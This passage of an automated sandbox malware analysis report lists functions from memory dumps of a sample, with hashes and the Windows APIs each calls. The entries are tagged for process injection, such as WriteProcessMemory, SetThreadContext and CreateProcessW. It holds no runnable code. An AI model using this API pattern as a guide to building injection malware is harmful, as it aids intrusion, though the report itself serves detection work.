Instruction Fuzzy Hash: 459114B4E102498FDB08CFA9C8946AEFBF2FF89300F24816AD419AB365D7355945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0708CF00 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

Cvi, xrefs: 0708CFAD

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID: Cvi
API String ID: 0-344470883
Opcode ID: 72286753ea73b188f1585a4e8900485be5750f705cc63b7aaccb9c673b2b3d5c
Instruction ID: cf0572882e643ede1bd32643ed2bd48c4b915491c1f3c3073f15124b83f5ba7f
Opcode Fuzzy Hash: 72286753ea73b188f1585a4e8900485be5750f705cc63b7aaccb9c673b2b3d5c
Instruction Fuzzy Hash: 6981D4B4E102198FDB48CFA9C9946AEFBF2FF88304F14812AD419AB354D7355945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0708BE68 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1a94061bfff9e3a4fc5f42a3d098ab20cffe1722c7742dcb0655c6a15b2e934
Instruction ID: 3611d6746421cd94af0068141e39491ba698914cb1c111804dee58fe609be901
Opcode Fuzzy Hash: e1a94061bfff9e3a4fc5f42a3d098ab20cffe1722c7742dcb0655c6a15b2e934
Instruction Fuzzy Hash: FFD1B0B0B002068FDB99EF68C484A6FBBB2AF85344F1986A9D455DB351CB35DC41CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0708D743 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81076dc384b695894d3be7907fc9559cd16de848ea40438464241f3b70f75633
Instruction ID: 299aca8df516943da9584d1ad1343efa037feb9b7b105b97fa200d67642cce7f
Opcode Fuzzy Hash: 81076dc384b695894d3be7907fc9559cd16de848ea40438464241f3b70f75633
Instruction Fuzzy Hash: BA512DB0E1460A8FDB48DFA6C5405AEFBF2EF89310F14D26AD455AB294D7348A428F94

Uniqueness

Uniqueness Score: -1.00%

Function 07087811 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 325a03c4d8bac2da56f79923e1762a689a4a8621843e8264cbc4c03ad8270a3b
Instruction ID: 22a7ea31c4519913752f555394eadab7bd0ee2b3bbf792ccc9533af4b2ebfae5
Opcode Fuzzy Hash: 325a03c4d8bac2da56f79923e1762a689a4a8621843e8264cbc4c03ad8270a3b
Instruction Fuzzy Hash: F551F4B4E012199FCB44DFAAD5809AEFBF2BF88310F28D165E454A7355D7349981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AE070 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37baaaea7b8a1a722923d681dab416bb85b13af9da95dd6d12f326347cfb5037
Instruction ID: f8fb1390f7ebd0119982c51743702c0094134f5380addfbda155dc98959df466
Opcode Fuzzy Hash: 37baaaea7b8a1a722923d681dab416bb85b13af9da95dd6d12f326347cfb5037
Instruction Fuzzy Hash: 6E413870D0A228CFDB14CFAAD4566EEBAF1BF4A300F58982AD515B3250DB784D86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AE060 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c608a6ff6c0866a2edc9bbd3937a128f8da5a6cd5aba438db5685ddb6996de02
Instruction ID: dd6b81f93b5c66c91206f00302a9ef1e68c29dfe37cdd0e52d8cdd406998c0c4
Opcode Fuzzy Hash: c608a6ff6c0866a2edc9bbd3937a128f8da5a6cd5aba438db5685ddb6996de02
Instruction Fuzzy Hash: 4C412870D05228CFDB14CFAAD485AEDBAF1BF4A300F58992AD115B3250DB744985CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0708E550 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cf5cec747a5677e9f8df351a9ce14a7cd7124637c39a6426db9ccb7b225885b
Instruction ID: a134c29d8000ea035b8e533f6c9858ca41f73eda2c79ca1acf0cb8ccb7ebab15
Opcode Fuzzy Hash: 3cf5cec747a5677e9f8df351a9ce14a7cd7124637c39a6426db9ccb7b225885b
Instruction Fuzzy Hash: 27313CB1E046558BEB19CFAAD9543CEFFF3AFC9300F14C16AC448AA255DB781945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01396E61 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01396ED0
GetCurrentThread.KERNEL32 ref: 01396F0D
GetCurrentProcess.KERNEL32 ref: 01396F4A
GetCurrentThreadId.KERNEL32 ref: 01396FA3

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4ab34eacd5c60b7df731c29df934cf831bb379610ecbf87d87a5005d89ff3268
Instruction ID: 78e00eb706a3416d44bf3e45de0c0afa512d20ddc3c5ec4cc0bdb9d6af27e404
Opcode Fuzzy Hash: 4ab34eacd5c60b7df731c29df934cf831bb379610ecbf87d87a5005d89ff3268
Instruction Fuzzy Hash: A25185B49013498FDB14CFA9C9497EEBFF1BF48318F208459E409A7250D7755888CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01396E70 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01396ED0
GetCurrentThread.KERNEL32 ref: 01396F0D
GetCurrentProcess.KERNEL32 ref: 01396F4A
GetCurrentThreadId.KERNEL32 ref: 01396FA3

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 56f66cde5e9997023e4fe52cf25c547f1a79559e9fbd5d806cb75cad91100b1e
Instruction ID: c671ca97aafc5aceab25ecbf7097e879de189b2c18d6b7626bdfb0496e71aec4
Opcode Fuzzy Hash: 56f66cde5e9997023e4fe52cf25c547f1a79559e9fbd5d806cb75cad91100b1e
Instruction Fuzzy Hash: EF5156B49012498FDB14CFAAC948BDEBBF1BF48318F20845DE419A7250DB745888CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0139BE70 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0139C0C6

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3092e824f98166a8f45cd40f5061701650e3a14c2328c0072a8377af8ea43827
Instruction ID: 19692781c7d0b9c25e9bdc68c0038e485aabf272b191a50d3dd7fc0192e8c344
Opcode Fuzzy Hash: 3092e824f98166a8f45cd40f5061701650e3a14c2328c0072a8377af8ea43827
Instruction Fuzzy Hash: DB813670A00B058FDB24CF2AD455B6ABBF1FF88218F00892ED49AD7A54D775E809CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0E5ABE96 Relevance: 1.6, APIs: 1, Instructions: 144
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 0E5ABFEB

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7d04c08b74cde2d77899f78dd04b8f7c2c0077f8c1f45b977e613301ec28c487
Instruction ID: f12253ede4b54489af069d801f011cf8a84cd83ea4392c5dc0d5bf5f57a7cd7d
Opcode Fuzzy Hash: 7d04c08b74cde2d77899f78dd04b8f7c2c0077f8c1f45b977e613301ec28c487
Instruction Fuzzy Hash: 8951F2719013199FDB64CF99C880BDEBBF2BF48314F14859AE908A7250DB719E89CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0E5ABE98 Relevance: 1.6, APIs: 1, Instructions: 143
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 0E5ABFEB

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9687e71eceb20671a0b655dfe93ffbdc3bd8179de9aeb8ad1318695f55d5cf5a
Instruction ID: ee456f83b04fdb337e897c7d6b520810bcfbe33a996dc280af3aa83767d01b90
Opcode Fuzzy Hash: 9687e71eceb20671a0b655dfe93ffbdc3bd8179de9aeb8ad1318695f55d5cf5a
Instruction Fuzzy Hash: 4251E3719013199FDB64CF99C880BDEBBF6BF48314F14849AE908A7250DB719E89CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0E5A951C Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(00000000), ref: 0E5A9674

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 8ec8e6ca83c13a4a919dc0c7b6fe2fdfbef10b442f7485e1b711405a340ac9d2
Instruction ID: 3e8dbec7db698559214e86000d7df8b1a4336e31da28fe424abed767589ce7f5
Opcode Fuzzy Hash: 8ec8e6ca83c13a4a919dc0c7b6fe2fdfbef10b442f7485e1b711405a340ac9d2
Instruction Fuzzy Hash: 03512370D002188FDB14CFA9D594BEEBBF1BF88314F28842DE816AB295C7799845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0139DF2C Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0139E04A

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e8fb04060c3e8305c5148f2e0ebc7f19dbce597c997f15a4719389ed4e6932e7
Instruction ID: 85308b28ae476d84f05730d0ae5ffaf8d5313094d489af999710fa144dc15d11
Opcode Fuzzy Hash: e8fb04060c3e8305c5148f2e0ebc7f19dbce597c997f15a4719389ed4e6932e7
Instruction Fuzzy Hash: 5D51BEB5D103099FDF14CF9AC984ADEBFB6BF48314F24812AE819AB210D7759885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0139DF38 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0139E04A

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1400405a2088fb075bcd8fa5de7c4951ac505b0310d3ce078f0714c94c082cd8
Instruction ID: ff0191408eea5c7242ae558c148b1c0d7bf25106054512a3660b1f713bcfc7f8
Opcode Fuzzy Hash: 1400405a2088fb075bcd8fa5de7c4951ac505b0310d3ce078f0714c94c082cd8
Instruction Fuzzy Hash: 2E41CEB1D003099FDF14CF9AC984ADEBFB5BF88314F64812AE819AB210D7759885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0E5A9735 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

FindWindowA.USER32(?), ref: 0E5A9817

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 4522fafd600bc8604747085cccd909e83c48a7a89c6a2bfa263aded6fd860401
Instruction ID: abd241faeee4cc8c0fbddc66c3dd8596b98899a603d952c2f7c75012791c905e
Opcode Fuzzy Hash: 4522fafd600bc8604747085cccd909e83c48a7a89c6a2bfa263aded6fd860401
Instruction Fuzzy Hash: A9415B71D102698FDB10CFA9D8847EEBBF1FB89314F18892AE815AB244D7749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0E5A9740 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

FindWindowA.USER32(?), ref: 0E5A9817

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: e95333b4535a9f625df40de7e291006e001655c6d2c19e7fc7459cf468f22a3e
Instruction ID: e2f2c4caf394a80b55bf72912a08678a9999a5238478d2e6c116491cfd74b83d
Opcode Fuzzy Hash: e95333b4535a9f625df40de7e291006e001655c6d2c19e7fc7459cf468f22a3e
Instruction Fuzzy Hash: 1E315670D102698FDB10CFA9D8847AEBBF1FB88714F188929E815AB244D7B49845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0E5A1F5E Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 0E5A2032

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1487bb6fd922e67a1e90f20949669f7b4d0b14f8e689e2324b605190e7f603cd
Instruction ID: 8e6d0b735ca248252d03df1c4d2a69293ef0782e72bd41560076a2d79ad0f1d9
Opcode Fuzzy Hash: 1487bb6fd922e67a1e90f20949669f7b4d0b14f8e689e2324b605190e7f603cd
Instruction Fuzzy Hash: 2A3169B4D11689CFDB14CFA9C9857EEBBF1FB08314F14892AE815A7240C7789846CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0E5A1F68 Relevance: 1.6, APIs: 1, Instructions: 86libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 0E5A2032

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1ce49632017c6aed4f65b8d9e7dcdc8ad3e4bc38979207029abf04b2cd58d1f0
Instruction ID: 6c50ecd656611413f75d3cc86a3850e177376433e4e6f4ad17822a6c7987ab8c
Opcode Fuzzy Hash: 1ce49632017c6aed4f65b8d9e7dcdc8ad3e4bc38979207029abf04b2cd58d1f0
Instruction Fuzzy Hash: E33169B4D01689CFDB14CFA9C9857EEBBF1BB08314F188929E815A7380D7B49845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AC438 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0E5AC4CD

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9e7efd33824d30bec427beccb50cfdf1b6ac3f460d2857b5e05af94a1983abc1
Instruction ID: f72c0d30081c708fd2d411f0bdbf1dbfdec602f4642e1c8509a187838e55402e
Opcode Fuzzy Hash: 9e7efd33824d30bec427beccb50cfdf1b6ac3f460d2857b5e05af94a1983abc1
Instruction Fuzzy Hash: 872115B19002199FCB10CF99D884BEEBBF4FB48324F14852EE518A3250D3789945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AC440 Relevance: 1.6, APIs: 1, Instructions: 65injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0E5AC4CD

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0f0af48f6eed4b805d7021c1adc8cbf93d0da874c004a712e490b497a307c773
Instruction ID: 2c4cf83f9b449e0b869bb5d21bccf639a988246ab7f9c36b9034b955809b3e39
Opcode Fuzzy Hash: 0f0af48f6eed4b805d7021c1adc8cbf93d0da874c004a712e490b497a307c773
Instruction Fuzzy Hash: 772114B59002599FCB10CF9AC884BEEFBF4FB48314F54842AE918A3250D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01397090 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0139711F

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 87d731082625efe6fc9bf54252a5b8138794b82e4ad323588a9eb8a9afd79358
Instruction ID: ec42d80e916db1b9adecb6ce660246180e3c432d3779b1f2aa7a2bdbd2e73757
Opcode Fuzzy Hash: 87d731082625efe6fc9bf54252a5b8138794b82e4ad323588a9eb8a9afd79358
Instruction Fuzzy Hash: 0A21E5B5D012099FDB10CFAAD984AEEBBF5EB48324F14855AE814A7250C3749955CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01397098 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0139711F

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4348a4acab36c358beb97041052f8c860ffe49f735dfe3cc1c143aa47a246390
Instruction ID: 06638efb161288f08592ff0d92ed67fee0982dcfb27e103303b03648279313e8
Opcode Fuzzy Hash: 4348a4acab36c358beb97041052f8c860ffe49f735dfe3cc1c143aa47a246390
Instruction Fuzzy Hash: D321E2B59002099FDF10CFAAD984ADEBFF9EB48324F14841AE914A3350D378A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AC2C0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0E5AC347

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 04df7c2f03c64ef03d62b248ada4ca96333ad55bdc185f920ca2c42fe6af96fc
Instruction ID: d9ee65348a0f2c9ae138aca9b8a3af9c5643f219aae2e097dfd01fed1aa238e5
Opcode Fuzzy Hash: 04df7c2f03c64ef03d62b248ada4ca96333ad55bdc185f920ca2c42fe6af96fc
Instruction Fuzzy Hash: 8F2125B69002499FCB10CF9AC884BDEFBF5FF48324F14842AE518A7240D3799944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AC200 Relevance: 1.6, APIs: 1, Instructions: 61threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 0E5AC27F

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: bcd7d4bc565350fa33653f94c5a1f918a8e982279951533e6e0f8c839929765f
Instruction ID: 3e38f2d6c4291706e0a3aa7b5c91c65821c42ab4b53572f8642d3efd055dcad8
Opcode Fuzzy Hash: bcd7d4bc565350fa33653f94c5a1f918a8e982279951533e6e0f8c839929765f
Instruction Fuzzy Hash: 052137B1D006199BCB00CFAAC8847EEFBF4FB48314F548169D418A7240D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AC2C8 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0E5AC347

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 46ca6172bebf2d629b45b8eb0f89c4a18e413585d3146297e7b086060cd70396
Instruction ID: c71dfccd25f9125fcf8acf64e82cd4ea4b61c9732a4481eeb6f295526e7d311d
Opcode Fuzzy Hash: 46ca6172bebf2d629b45b8eb0f89c4a18e413585d3146297e7b086060cd70396
Instruction Fuzzy Hash: 0221E4B59012499FCB10CF9AD984ADEFBF4FB48314F54842AE918A7250D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AC208 Relevance: 1.6, APIs: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 0E5AC27F

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: dc2c57c38fd0919e9a86392eab8335f249d292320eee3d129e1d53f48a5c5eb0
Instruction ID: b10dbb9faf6eb1d896bb0f1b9889ebdb61da019f3db346eac4ec6d0e32f3c68e
Opcode Fuzzy Hash: dc2c57c38fd0919e9a86392eab8335f249d292320eee3d129e1d53f48a5c5eb0
Instruction Fuzzy Hash: C121F4B1D002199BCB10CF9AC9857EEFBF4FB48724F54812AE418A7240D778A9448FA1

Uniqueness

Uniqueness Score: -1.00%

Function 071A4DE1 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 071A4E5B

Memory Dump Source

Source File: 0000000B.00000002.523431423.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_71a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aa93605a1c137f12e65c1c3b640c67e2be07e72527410b1ba62940fc631da534
Instruction ID: 86396481a54430efc540ace0d529212573bf8945940265232ea8d526cf31ad12
Opcode Fuzzy Hash: aa93605a1c137f12e65c1c3b640c67e2be07e72527410b1ba62940fc631da534
Instruction Fuzzy Hash: 762108B6D002499FCB10CF9AD984BDEBBF4EB48324F148429E468B7250D3789545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0139B1D0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0139C141,00000800,00000000,00000000), ref: 0139C352

Memory Dump Source

Source File: 0000000B.00000002.431293842.0000000001390000.00000040.00000800.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1390000_RudGXFgqTDEzz.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 48940abbadfb4eff2badb32982c5f002ccd6b3fac199f4fc22ab4be29a445cb9
Instruction ID: 716563e232e30623a6f8550ec1ff353c6c23a4303666ee2d9b0b058bd8040785
Opcode Fuzzy Hash: 48940abbadfb4eff2badb32982c5f002ccd6b3fac199f4fc22ab4be29a445cb9
Instruction Fuzzy Hash: F61114B69003499FDB14CF9AC884ADEFBF5EB58314F54846EE419A7200C3B9A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071A4DE8 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 071A4E5B

Memory Dump Source

Source File: 0000000B.00000002.523431423.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_71a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1726d52013c91fd6281bece8950ca124a1f2160b12a9c9a49501811081db8a11
Instruction ID: d7ee1f0605574bc50d331bdf055cd6f613eb535a756367fca11d786e2855af25
Opcode Fuzzy Hash: 1726d52013c91fd6281bece8950ca124a1f2160b12a9c9a49501811081db8a11
Instruction Fuzzy Hash: D721E7B5D002499FCB10CF9AC984BDEFBF4FB48324F548429E868A7250D378A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0139C2E0 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

